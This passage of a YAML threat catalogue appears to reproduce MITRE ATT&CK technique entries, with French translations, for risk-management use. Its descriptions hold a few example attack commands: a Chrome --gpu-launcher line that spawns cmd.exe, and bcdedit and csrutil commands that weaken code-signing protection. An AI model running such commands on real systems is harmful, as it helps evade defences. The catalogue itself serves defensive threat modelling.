      or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),
      establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)
      or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or
      initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

      https://attack.mitre.org/techniques/T1595/002'
    translations:
      fr:
        name: "Analyse des vuln\xE9rabilit\xE9s"
        description: "Les adversaires peuvent analyser les victimes \xE0 la recherche\
          \ de vuln\xE9rabilit\xE9s qui peuvent \xEAtre utilis\xE9es lors du ciblage.\
          \ Les analyses de vuln\xE9rabilit\xE9 v\xE9rifient g\xE9n\xE9ralement si\
          \ la configuration d\u2019un h\xF4te/d\u2019une application cible (par exemple,\
          \ le logiciel et la version) s\u2019aligne potentiellement sur la cible\
          \ d\u2019un exploit sp\xE9cifique que l\u2019adversaire peut chercher \xE0\
          \ utiliser.\n\nCes analyses peuvent \xE9galement inclure des tentatives\
          \ plus larges de [Recueillir des informations sur l\u2019h\xF4te victime](https://attack.mitre.org/techniques/T1592)\
          \ qui peuvent \xEAtre utilis\xE9es pour identifier des vuln\xE9rabilit\xE9\
          s exploitables plus courantes. Les analyses de vuln\xE9rabilit\xE9 r\xE9\
          coltent g\xE9n\xE9ralement les logiciels en cours d\u2019ex\xE9cution et\
          \ les num\xE9ros de version via des banni\xE8res de serveur, des ports d\u2019\
          \xE9coute ou d\u2019autres artefacts r\xE9seau. (Citation : OWASP Vuln Scanning)\
          \ Les informations recueillies lors de ces analyses peuvent r\xE9v\xE9ler\
          \ des possibilit\xE9s pour d\u2019autres formes de reconnaissance (ex :\
          \ [Recherche dans des sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)\
          \ ou [Recherche dans des bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)),\
          \ l\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [D\xE9\
          velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou\
          \ [Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588)),\
          \ et/ou un acc\xE8s initial (ex : [Exploiter le public-Facing Champ d\u2019\
          application](https://attack.mitre.org/techniques/T1190)).\nhttps://attack.mitre.org/techniques/T1595/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1059.009
    ref_id: T1059.009
    name: Cloud API
    description: "Adversaries may abuse cloud APIs to execute malicious commands.\
      \ APIs available in cloud environments provide various functionalities and are\
      \ a feature-rich method for programmatic access to nearly all aspects of a tenant.\
      \ These APIs may be utilized through various methods such as command line interpreters\
      \ (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell),\
      \ or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006).\
      \  \n\nCloud API functionality may allow for administrative access across all\
      \ major services in a tenant such as compute, storage, identity and access management\
      \ (IAM), networking, and security policies.\n\nWith proper permissions (often\
      \ via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001)\
      \ and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)),\
      \ adversaries may abuse cloud APIs to invoke various functions that execute\
      \ malicious actions. For example, CLI and PowerShell functionality may be accessed\
      \ through binaries installed on cloud-hosted or on-premises hosts or accessed\
      \ through a browser-based cloud shell offered by many cloud platforms (such\
      \ as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment\
      \ to use CLI and/or scripting modules hosted as a container in the cloud environment.\n\
      https://attack.mitre.org/techniques/T1059/009"
    translations:
      fr:
        name: Cloud API
        description: "Les adversaires peuvent abuser des API cloud pour ex\xE9cuter\
          \ des commandes malveillantes. Les API disponibles dans les environnements\
          \ cloud offrent diverses fonctionnalit\xE9s et constituent une m\xE9thode\
          \ riche en fonctionnalit\xE9s pour l\u2019acc\xE8s programmatique \xE0 presque\
          \ tous les aspects d\u2019un locataire. Ces API peuvent \xEAtre utilis\xE9\
          es par le biais de diverses m\xE9thodes telles que les interpr\xE9teurs\
          \ de ligne de commande (CLI), les Cloud Shells dans le navigateur, les modules\
          \ [PowerShell](https://attack.mitre.org/techniques/T1059/001) tels qu\u2019\
          Azure pour PowerShell (R\xE9f\xE9rence : Microsoft - Azure PowerShell) ou\
          \ les kits de d\xE9veloppement logiciel (SDK) disponibles pour des langages\
          \ tels que [Python](https://attack.mitre.org/techniques/T1059/006).  \n\n\
          La fonctionnalit\xE9 de l\u2019API cloud peut permettre un acc\xE8s administratif\
          \ \xE0 tous les principaux services d\u2019un locataire, tels que le calcul,\
          \ le stockage, la gestion des identit\xE9s et des acc\xE8s (IAM), la mise\
          \ en r\xE9seau et les strat\xE9gies de s\xE9curit\xE9.\n\nAvec les autorisations\
          \ appropri\xE9es (souvent via l\u2019utilisation d\u2019informations d\u2019\
          identification telles que [Jeton d\u2019acc\xE8s \xE0 l\u2019application](https://attack.mitre.org/techniques/T1550/001)\
          \ et [Cookie de session Web](https://attack.mitre.org/techniques/T1550/004)),\
          \ les adversaires peuvent abuser des API cloud pour invoquer diverses fonctions\
          \ qui ex\xE9cutent des actions malveillantes. Par exemple, les fonctionnalit\xE9\
          s CLI et PowerShell peuvent \xEAtre accessibles via des fichiers binaires\
          \ install\xE9s sur des h\xF4tes h\xE9berg\xE9s dans le cloud ou sur site,\
          \ ou accessibles via un shell cloud bas\xE9 sur un navigateur propos\xE9\
          \ par de nombreuses plateformes cloud (telles que AWS, Azure et GCP). Ces\
          \ Cloud Shells sont souvent un environnement unifi\xE9 packag\xE9 permettant\
          \ d\u2019utiliser des modules CLI et/ou de script h\xE9berg\xE9s en tant\
          \ que conteneur dans l\u2019environnement cloud.\nhttps://attack.mitre.org/techniques/T1059/009"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1596
    ref_id: T1596
    name: Search Open Technical Databases
    description: 'Adversaries may search freely available technical databases for
      information about victims that can be used during targeting. Information about
      victims may be available in online databases and repositories, such as registrations
      of domains/certificates as well as public collections of network data/artifacts
      gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:
      Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation:
      DigitalShadows CDN)(Citation: Shodan)


      Adversaries may search in different open databases depending on what information
      they seek to gather. Information from these sources may reveal opportunities
      for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)
      or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),
      establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)
      or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)),
      and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)
      or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

      https://attack.mitre.org/techniques/T1596'
    translations:
      fr:
        name: "Rechercher dans des bases de donn\xE9es techniques ouvertes"
        description: "Les adversaires peuvent rechercher dans des bases de donn\xE9\
          es techniques librement disponibles des informations sur les victimes qui\
          \ peuvent \xEAtre utilis\xE9es lors du ciblage. Des informations sur les\
          \ victimes peuvent \xEAtre disponibles dans des bases de donn\xE9es et des\
          \ d\xE9p\xF4ts en ligne, tels que des enregistrements de domaines/certificats\
          \ ainsi que des collections publiques de donn\xE9es/artefacts de r\xE9seau\
          \ recueillis \xE0 partir du trafic et/ou des analyses. (Citation : WHOIS)(Citation\
          \ : benne \xE0 ordures DNS)(Citation : Circl DNS passif)(Citation : Certificat\
          \ SSL moyen)(Citation : SSLShopper Lookup)(Citation : CDN DigitalShadows)(Citation\
          \ : Shodan)\n\nLes adversaires peuvent effectuer des recherches dans diff\xE9\
          rentes bases de donn\xE9es ouvertes en fonction des informations qu\u2019\
          ils cherchent \xE0 recueillir. Les informations provenant de ces sources\
          \ peuvent r\xE9v\xE9ler des possibilit\xE9s pour d\u2019autres formes de\
          \ reconnaissance (ex : [Hame\xE7onnage pour obtenir des informations](https://attack.mitre.org/techniques/T1598)\
          \ ou [Recherche de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [Acquisition\
          \ d\u2019infrastructure](https://attack.mitre.org/techniques/T1583) ou [Compromission\
          \ d\u2019infrastructure](https://attack.mitre.org/techniques/T1584)), et/ou\
          \ d\u2019acc\xE8s initial (ex : [Externe distant Services](https://attack.mitre.org/techniques/T1133)\
          \ ou [Relation de confiance](https://attack.mitre.org/techniques/T1199)).\n\
          https://attack.mitre.org/techniques/T1596"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218.015
    ref_id: T1218.015
    name: Electron Applications
    description: 'Adversaries may abuse components of the Electron framework to execute
      malicious code. The Electron framework hosts many common applications such as
      Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed
      by GitHub, Electron is a cross-platform desktop application development framework
      that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron
      3) The Chromium engine is used to display web content and Node.js runs the backend
      code.(Citation: Electron 1)


      Due to the functional mechanics of Electron (such as allowing apps to run arbitrary
      commands), adversaries may also be able to perform malicious functions in the
      background potentially disguised as legitimate tools within the framework.(Citation:
      Electron 1) For example, the abuse of `teams.exe` and `chrome.exe` may allow
      adversaries to execute malicious commands as child processes of the legitimate
      application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe
      /c calc.exe`).(Citation: Electron 6-8)


      Adversaries may also execute malicious content by planting malicious [JavaScript](https://attack.mitre.org/techniques/T1059/007)
      within Electron applications.(Citation: Electron Security)

      https://attack.mitre.org/techniques/T1218/015'
    translations:
      fr:
        name: "Applications de l\u2019\xE9lectron"
        description: "Les adversaires peuvent abuser des composants du cadre Electron\
          \ pour ex\xE9cuter du code malveillant. Le framework Electron h\xE9berge\
          \ de nombreuses applications courantes telles que Signal, Slack et Microsoft\
          \ Teams. (Citation : Electron 2) D\xE9velopp\xE9 \xE0 l\u2019origine par\
          \ GitHub, Electron est un cadre de d\xE9veloppement d\u2019applications\
          \ de bureau multiplateforme qui utilise des technologies Web telles que\
          \ JavaScript, HTML et CSS. (Citation : Electron 3) Le moteur Chromium est\
          \ utilis\xE9 pour afficher le contenu Web et ex\xE9cute Node.js le code\
          \ principal. (Citation : \xC9lectron 1)\n\nEn raison des m\xE9canismes fonctionnels\
          \ d\u2019Electron (comme le fait de permettre aux applications d\u2019ex\xE9\
          cuter des commandes arbitraires), les adversaires peuvent \xE9galement \xEA\
          tre en mesure d\u2019ex\xE9cuter des fonctions malveillantes en arri\xE8\
          re-plan potentiellement d\xE9guis\xE9es en outils l\xE9gitimes dans le cadre.\
          \ (Citation : \xC9lectron 1) Par exemple, l\u2019utilisation abusive de\
          \ 'teams.exe' et 'chrome.exe' peut permettre \xE0 des adversaires d\u2019\
          ex\xE9cuter des commandes malveillantes en tant que processus enfants de\
          \ l\u2019application l\xE9gitime (par exemple, 'chrome.exe --disable-gpu-sandbox\
          \ --gpu-launcher=\"C\_:\\Windows\\system32\\cmd.exe /c calc.exe'). (Citation\
          \ : Electron 6-8)\n\nLes adversaires peuvent \xE9galement ex\xE9cuter du\
          \ contenu malveillant en plantant des applications malveillantes [JavaScript](https://attack.mitre.org/techniques/T1059/007)\
          \ dans les applications Electron. (Citation : S\xE9curit\xE9 \xE9lectronique)\n\
          https://attack.mitre.org/techniques/T1218/015"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1562.012
    ref_id: T1562.012
    name: Disable or Modify Linux Audit System
    description: 'Adversaries may disable or modify the Linux audit system to hide
      malicious activity and avoid detection. Linux admins use the Linux Audit system
      to track security-relevant information on a system. The Linux Audit system operates
      at the kernel-level and maintains event logs on application and system activity
      such as process, network, file, and login events based on pre-configured rules.


      Often referred to as `auditd`, this is the name of the daemon used to write
      events to disk and is governed by the parameters set in the `audit.conf` configuration
      file. Two primary ways to configure the log generation rules are through the
      command line `auditctl` utility and the file `/etc/audit/audit.rules`,  containing
      a sequence of `auditctl` commands loaded at boot time.(Citation: Red Hat System
      Auditing)(Citation: IzyKnows auditd threat detection 2022)


      With root privileges, adversaries may be able to ensure their activity is not
      logged through disabling the Audit system service, editing the configuration/rule
      files, or by hooking the Audit system library functions. Using the command line,
      adversaries can disable the Audit system service through killing processes associated
      with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries
      can also hook Audit system functions to disable logging or modify the rules
      contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious
      activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation: ESET Ebury Feb
      2014)

      https://attack.mitre.org/techniques/T1562/012'
    translations:
      fr:
        name: "D\xE9sactiver ou modifier le syst\xE8me d\u2019audit Linux"
        description: "Les adversaires peuvent d\xE9sactiver ou modifier le syst\xE8\
          me d\u2019audit Linux pour masquer les activit\xE9s malveillantes et \xE9\
          viter d\u2019\xEAtre d\xE9tect\xE9s. Les administrateurs Linux utilisent\
          \ le syst\xE8me d\u2019audit Linux pour suivre les informations de s\xE9\
          curit\xE9 sur un syst\xE8me. Le syst\xE8me d\u2019audit Linux fonctionne\
          \ au niveau du noyau et conserve des journaux d\u2019\xE9v\xE9nements sur\
          \ l\u2019activit\xE9 de l\u2019application et du syst\xE8me, comme les \xE9\
          v\xE9nements de processus, de r\xE9seau, de fichier et de connexion, en\
          \ fonction de r\xE8gles pr\xE9configur\xE9es.\n\nSouvent appel\xE9 'auditd',\
          \ il s\u2019agit du nom du d\xE9mon utilis\xE9 pour \xE9crire les \xE9v\xE9\
          nements sur le disque et est r\xE9gi par les param\xE8tres d\xE9finis dans\
          \ le fichier de configuration 'audit.conf'. Deux fa\xE7ons principales de\
          \ configurer les r\xE8gles de g\xE9n\xE9ration de journaux sont d\u2019\
          utiliser l\u2019utilitaire de ligne de commande 'auditctl' et le fichier\
          \ '/etc/audit/audit.rules', contenant une s\xE9quence de commandes 'auditctl'\
          \ charg\xE9es au d\xE9marrage. (Citation : Audit du syst\xE8me Red Hat)(Citation\
          \ : D\xE9tection des menaces audit\xE9e IzyKnows 2022)\n\nAvec les privil\xE8\
          ges root, les adversaires peuvent \xEAtre en mesure de s\u2019assurer que\
          \ leur activit\xE9 n\u2019est pas consign\xE9e en d\xE9sactivant le service\
          \ syst\xE8me d\u2019audit, en modifiant les fichiers de configuration/r\xE8\
          gle ou en raccrochant les fonctions de biblioth\xE8que du syst\xE8me d\u2019\
          audit. \xC0 l\u2019aide de la ligne de commande, les adversaires peuvent\
          \ d\xE9sactiver le service syst\xE8me d\u2019audit en tuant les processus\
          \ associ\xE9s au d\xE9mon \xAB auditd \xBB ou en utilisant \xAB systemctl\
          \ \xBB pour arr\xEAter le service d\u2019audit. Les adversaires peuvent\
          \ \xE9galement accrocher les fonctions du syst\xE8me d\u2019audit pour d\xE9\
          sactiver la journalisation ou modifier les r\xE8gles contenues dans les\
          \ fichiers '/etc/audit/audit.rules' ou 'audit.conf' pour ignorer les activit\xE9\
          s malveillantes. (Citation : Trustwave Honeypot SkidMap 2023)(Citation :\
          \ ESET Ebury f\xE9vrier 2014)\nhttps://attack.mitre.org/techniques/T1562/012"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1207
    ref_id: T1207
    name: Rogue Domain Controller
    description: 'Adversaries may register a rogue Domain Controller to enable manipulation
      of Active Directory data. DCShadow may be used to create a rogue Domain Controller
      (DC). DCShadow is a method of manipulating Active Directory (AD) data, including
      objects and schemas, by registering (or reusing an inactive registration) and
      simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered,
      a rogue DC may be able to inject and replicate changes into AD infrastructure
      for any domain object, including credentials and keys.


      Registering a rogue DC involves creating a new server and nTDSDSA objects in
      the Configuration partition of the AD schema, which requires Administrator privileges
      (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity
      Mimikatz Guide)


      This technique may bypass system logging and security monitors such as security
      information and event management (SIEM) products (since actions taken on a rogue
      DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique
      may also be used to alter and delete replication and other associated metadata
      to obstruct forensic analysis. Adversaries may also utilize this technique to
      perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005)
      and/or manipulate AD objects (such as accounts, access control lists, schemas)
      to establish backdoors for Persistence. (Citation: DCShadow Blog)

      https://attack.mitre.org/techniques/T1207'
    translations:
      fr:
        name: "Contr\xF4leur de domaine non autoris\xE9"
        description: "Les adversaires peuvent enregistrer un contr\xF4leur de domaine\
          \ non autoris\xE9 pour permettre la manipulation des donn\xE9es Active Directory.\
          \ DCShadow peut \xEAtre utilis\xE9 pour cr\xE9er un contr\xF4leur de domaine\
          \ non autoris\xE9. DCShadow est une m\xE9thode de manipulation des donn\xE9\
          es Active Directory (AD), y compris les objets et les sch\xE9mas, en enregistrant\
          \ (ou en r\xE9utilisant un enregistrement inactif) et en simulant le comportement\
          \ d\u2019un contr\xF4leur de domaine. (Citation : Blog DCShadow) Une fois\
          \ enregistr\xE9, un contr\xF4leur de domaine non autoris\xE9 peut \xEAtre\
          \ en mesure d\u2019injecter et de r\xE9pliquer les modifications apport\xE9\
          es \xE0 l\u2019infrastructure AD pour n\u2019importe quel objet de domaine,\
          \ y compris les informations d\u2019identification et les cl\xE9s.\n\nL\u2019\
          enregistrement d\u2019un contr\xF4leur de domaine non autoris\xE9 implique\
          \ la cr\xE9ation d\u2019un serveur et d\u2019objets nTDSDSA dans la partition\
          \ de configuration du sch\xE9ma AD, ce qui n\xE9cessite des privil\xE8ges\
          \ d\u2019administrateur (domaine ou local au contr\xF4leur de domaine) ou\
          \ le hachage KRBTGT. (Citation : Guide Adsecurity Mimikatz)\n\nCette technique\
          \ peut contourner la journalisation du syst\xE8me et les moniteurs de s\xE9\
          curit\xE9 tels que les produits de gestion des informations et des \xE9\
          v\xE9nements de s\xE9curit\xE9 (SIEM) (puisque les actions entreprises sur\
          \ un contr\xF4leur de domaine non autoris\xE9 peuvent ne pas \xEAtre signal\xE9\
          es \xE0 ces capteurs). (Citation : Blog DCShadow) Cette technique peut \xE9\
          galement \xEAtre utilis\xE9e pour modifier et supprimer la r\xE9plication\
          \ et d\u2019autres m\xE9tadonn\xE9es associ\xE9es afin d\u2019entraver l\u2019\
          analyse m\xE9dico-l\xE9gale. Les adversaires peuvent \xE9galement utiliser\
          \ cette technique pour effectuer [l\u2019injection de l\u2019historique\
          \ SID](https://attack.mitre.org/techniques/T1134/005) et/ou manipuler des\
          \ objets AD (tels que des comptes, des listes de contr\xF4le d\u2019acc\xE8\
          s, des sch\xE9mas) afin d\u2019\xE9tablir des portes d\xE9rob\xE9es pour\
          \ la persistance. (Citation : Blog DCShadow)\nhttps://attack.mitre.org/techniques/T1207"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1553.006
    ref_id: T1553.006
    name: Code Signing Policy Modification
    description: "Adversaries may modify code signing policies to enable execution\
      \ of unsigned or self-signed code. Code signing provides a level of authenticity\
      \ on a program from a developer and a guarantee that the program has not been\
      \ tampered with. Security controls can include enforcement mechanisms to ensure\
      \ that only valid, signed code can be run on an operating system. \n\nSome of\
      \ these security controls may be enabled by default, such as Driver Signature\
      \ Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation:\
      \ Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls\
      \ may be disabled by default but are configurable through application controls,\
      \ such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a\
      \ system. Since it can be useful for developers to modify default signature\
      \ enforcement policies during the development and testing of applications, disabling\
      \ of these features may be possible with elevated permissions.(Citation: Microsoft\
      \ Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may\
      \ modify code signing policies in a number of ways, including through use of\
      \ command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112),\
      \ rebooting the computer in a debug/recovery mode, or by altering the value\
      \ of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation:\
      \ Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub\
      \ Turla Driver Loader) Examples of commands that can modify the code signing\
      \ policy of a system include <code>bcdedit.exe -set TESTSIGNING ON</code> on\
      \ Windows and <code>csrutil disable</code> on macOS.(Citation: Microsoft TESTSIGNING\
      \ Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful\
      \ modification of a signing policy may require reboot of the compromised system.\
      \ Additionally, some implementations can introduce visible artifacts for the\
      \ user (ex: a watermark in the corner of the screen stating the system is in\
      \ Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure\
      \ BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related\
      \ to signature checks, such as modifying <code>g_CiOptions</code> to disable\
      \ Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege\
      \ Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but\
      \ vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla\
      \ Driver Loader)\nhttps://attack.mitre.org/techniques/T1553/006"
    translations:
      fr:
        name: Modification de la politique de signature de code
        description: "Les adversaires peuvent modifier les politiques de signature\
          \ de code pour permettre l\u2019ex\xE9cution de code non sign\xE9 ou auto-sign\xE9\
          . La signature de code fournit un niveau d\u2019authenticit\xE9 sur un programme\
          \ d\u2019un d\xE9veloppeur et une garantie que le programme n\u2019a pas\
          \ \xE9t\xE9 alt\xE9r\xE9. Les contr\xF4les de s\xE9curit\xE9 peuvent inclure\
          \ des m\xE9canismes d\u2019application pour s\u2019assurer que seul le code\
          \ valide et sign\xE9 peut \xEAtre ex\xE9cut\xE9 sur un syst\xE8me d\u2019\
          exploitation. \n\nCertains de ces contr\xF4les de s\xE9curit\xE9 peuvent\
          \ \xEAtre activ\xE9s par d\xE9faut, tels que l\u2019application de la signature\
          \ du pilote (DSE) sous Windows ou la protection de l\u2019int\xE9grit\xE9\
          \ du syst\xE8me (SIP) sur macOS. (Citation : Microsoft DSE juin 2017)(Citation\
          \ : Apple d\xE9sactive SIP) D\u2019autres contr\xF4les de ce type peuvent\
          \ \xEAtre d\xE9sactiv\xE9s par d\xE9faut, mais sont configurables via des\
          \ contr\xF4les d\u2019application, tels que l\u2019autorisation de n\u2019\
          ex\xE9cuter que des biblioth\xE8ques de liens dynamiques (DLL) sign\xE9\
          es sur un syst\xE8me. \xC9tant donn\xE9 qu\u2019il peut \xEAtre utile pour\
          \ les d\xE9veloppeurs de modifier les strat\xE9gies d\u2019application de\
          \ signature par d\xE9faut lors du d\xE9veloppement et du test d\u2019applications,\
          \ la d\xE9sactivation de ces fonctionnalit\xE9s peut \xEAtre possible avec\
          \ des autorisations \xE9lev\xE9es. (Citation : Pilote Microsoft non sign\xE9\
          \ avril 2017)(Citation : Apple d\xE9sactive SIP)\n\nLes adversaires peuvent\
          \ modifier les politiques de signature de code de plusieurs fa\xE7ons, notamment\
          \ \xE0 l\u2019aide d\u2019utilitaires de ligne de commande ou d\u2019interface\
          \ graphique, de [Modifier le registre](https://attack.mitre.org/techniques/T1112),\
          \ en red\xE9marrant l\u2019ordinateur en mode de d\xE9bogage/r\xE9cup\xE9\
          ration ou en modifiant la valeur des variables dans la m\xE9moire du noyau.\
          \ (Citation : Microsoft TESTSIGNING f\xE9vrier 2021)(Citation : Apple d\xE9\
          sactive SIP)(Citation : FireEye HIKIT Rootkit Partie 2)(Citation : GitHub\
          \ Turla Driver Loader) Parmi les exemples de commandes qui peuvent modifier\
          \ la politique de signature de code d\u2019un syst\xE8me, citons <code>bcdedit.exe\
          \ -set TESTSIGNING ON</code> sous Windows et <code>csrutil disable</code>\
          \ sur macOS. (Citation : Microsoft TESTSIGNING f\xE9vrier 2021)(Citation\
          \ : Apple d\xE9sactive SIP) Selon l\u2019impl\xE9mentation, la modification\
          \ r\xE9ussie d\u2019une politique de signature peut n\xE9cessiter le red\xE9\
          marrage du syst\xE8me compromis. De plus, certaines impl\xE9mentations peuvent\
          \ introduire des artefacts visibles pour l\u2019utilisateur (par exemple,\
          \ un filigrane dans le coin de l\u2019\xE9cran indiquant que le syst\xE8\
          me est en mode test). Les adversaires peuvent tenter de supprimer ces artefacts.\
          \ (Citation : F-Secure BlackEnergy 2014)\n\nPour acc\xE9der \xE0 la m\xE9\
          moire du noyau afin de modifier des variables li\xE9es aux v\xE9rifications\
          \ de signature, telles que la modification <code>g_CiOptions</code> pour\
          \ d\xE9sactiver l\u2019application de signature du pilote, les adversaires\
          \ peuvent effectuer [Exploitation pour l\u2019\xE9l\xE9vation de privil\xE8\
          ges](https://attack.mitre.org/techniques/T1068) \xE0 l\u2019aide d\u2019\
          un pilote sign\xE9, mais vuln\xE9rable. (Citation : Unit42 AcidBox, juin\
          \ 2020)(Citation : GitHub Turla Driver Loader)\nhttps://attack.mitre.org/techniques/T1553/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1610
    ref_id: T1610
    name: Deploy Container
    description: 'Adversaries may deploy a container into an environment to facilitate
      execution or evade defenses. In some cases, adversaries may deploy a new container
      to execute processes associated with a particular image or deployment, such
      as processes that execute or download malware. In others, an adversary may deploy
      a new container configured without network rules, user limitations, etc. to
      bypass existing defenses within the environment. In Kubernetes environments,
      an adversary may attempt to deploy a privileged or vulnerable container into
      a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611)
      and access other containers running on the node. (Citation: AppSecco Kubernetes
      Namespace Breakout 2020)


      Containers can be deployed by various means, such as via Docker''s <code>create</code>
      and <code>start</code> APIs or via a web application such as the Kubernetes
      dashboard or Kubeflow. (Citation: Docker Containers API)(Citation: Kubernetes
      Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers
      may be deployed through workloads such as ReplicaSets or DaemonSets, which can
      allow containers to be deployed across multiple nodes.(Citation: Kubernetes
      Workload Management) Adversaries may deploy containers based on retrieved or
      built malicious images or from benign images that download and execute malicious
      payloads at runtime.(Citation: Aqua Build Images on Hosts)

      https://attack.mitre.org/techniques/T1610'
    translations:
      fr:
        name: "D\xE9ployer le conteneur"
        description: "Les adversaires peuvent d\xE9ployer un conteneur dans un environnement\
          \ pour faciliter l\u2019ex\xE9cution ou \xE9chapper aux d\xE9fenses. Dans\
          \ certains cas, les adversaires peuvent d\xE9ployer un nouveau conteneur\
          \ pour ex\xE9cuter des processus associ\xE9s \xE0 une image ou \xE0 un d\xE9\
          ploiement particulier, tels que des processus qui ex\xE9cutent ou t\xE9\
          l\xE9chargent des programmes malveillants. Dans d\u2019autres, un adversaire\
          \ peut d\xE9ployer un nouveau conteneur configur\xE9 sans r\xE8gles de r\xE9\
          seau, sans limitations d\u2019utilisateurs, etc. pour contourner les d\xE9\
          fenses existantes dans l\u2019environnement. Dans les environnements Kubernetes,\
          \ un adversaire peut tenter de d\xE9ployer un conteneur privil\xE9gi\xE9\
          \ ou vuln\xE9rable dans un n\u0153ud sp\xE9cifique afin de [S\u2019\xE9\
          chapper vers l\u2019h\xF4te](https://attack.mitre.org/techniques/T1611)\
          \ et d\u2019acc\xE9der \xE0 d\u2019autres conteneurs s\u2019ex\xE9cutant\
          \ sur le n\u0153ud. (Citation : AppSecco Kubernetes Namespace Breakout 2020)\n\
          \nLes conteneurs peuvent \xEAtre d\xE9ploy\xE9s de diff\xE9rents mani\xE8\
          res, par exemple via les API de <code>cr\xE9ation</code> et de <code>d\xE9\
          marrage</code> de Docker ou via une application web telle que le tableau\
          \ de bord Kubernetes ou Kubeflow. (Citation : API Docker Containers)(Citation\
          \ : Tableau de bord Kubernetes)(Citation : Kubeflow Pipelines) Dans les\
          \ environnements Kubernetes, les conteneurs peuvent \xEAtre d\xE9ploy\xE9\
          s via des charges de travail telles que ReplicaSets ou DaemonSets, ce qui\
          \ permet de d\xE9ployer des conteneurs sur plusieurs n\u0153uds. (Citation\
          \ : Gestion de la charge de travail Kubernetes) Les adversaires peuvent\
          \ d\xE9ployer des conteneurs bas\xE9s sur des images malveillantes r\xE9\
          cup\xE9r\xE9es ou construites ou \xE0 partir d\u2019images b\xE9nignes qui\
          \ t\xE9l\xE9chargent et ex\xE9cutent des charges utiles malveillantes au\
          \ moment de l\u2019ex\xE9cution. (Citation\_: Images Aqua Build sur les\
          \ h\xF4tes)\nhttps://attack.mitre.org/techniques/T1610"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1112
    ref_id: T1112
    name: Modify Registry
    description: 'Adversaries may interact with the Windows Registry to hide configuration
      information within Registry keys, remove information as part of cleaning up,
      or as part of other techniques to aid in persistence and execution.


      Access to specific areas of the Registry depends on account permissions, some
      requiring administrator-level access. The built-in Windows command-line utility
      [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote
      Registry modification. (Citation: Microsoft Reg) Other tools may also be used,
      such as a remote access tool, which may contain functionality to interact with
      the Registry through the Windows API.


      Registry modifications may also include actions to hide keys, such as prepending
      key names with a null character, which will cause an error and/or be ignored
      when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities
      using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may
      abuse these pseudo-hidden keys to conceal payloads/commands used to maintain
      persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps
      Hiding Reg Jul 2017)


      The Registry of a remote system may be modified to aid in execution of files
      as part of lateral movement. It requires the remote Registry service to be running
      on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078)
      are required, along with access to the remote system''s [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002)
      for RPC communication.

      https://attack.mitre.org/techniques/T1112'
    translations:
      fr:
        name: Modifier le registre
        description: "Les adversaires peuvent interagir avec le registre Windows pour\
          \ masquer les informations de configuration dans les cl\xE9s de registre,\
          \ supprimer des informations dans le cadre du nettoyage ou dans le cadre\
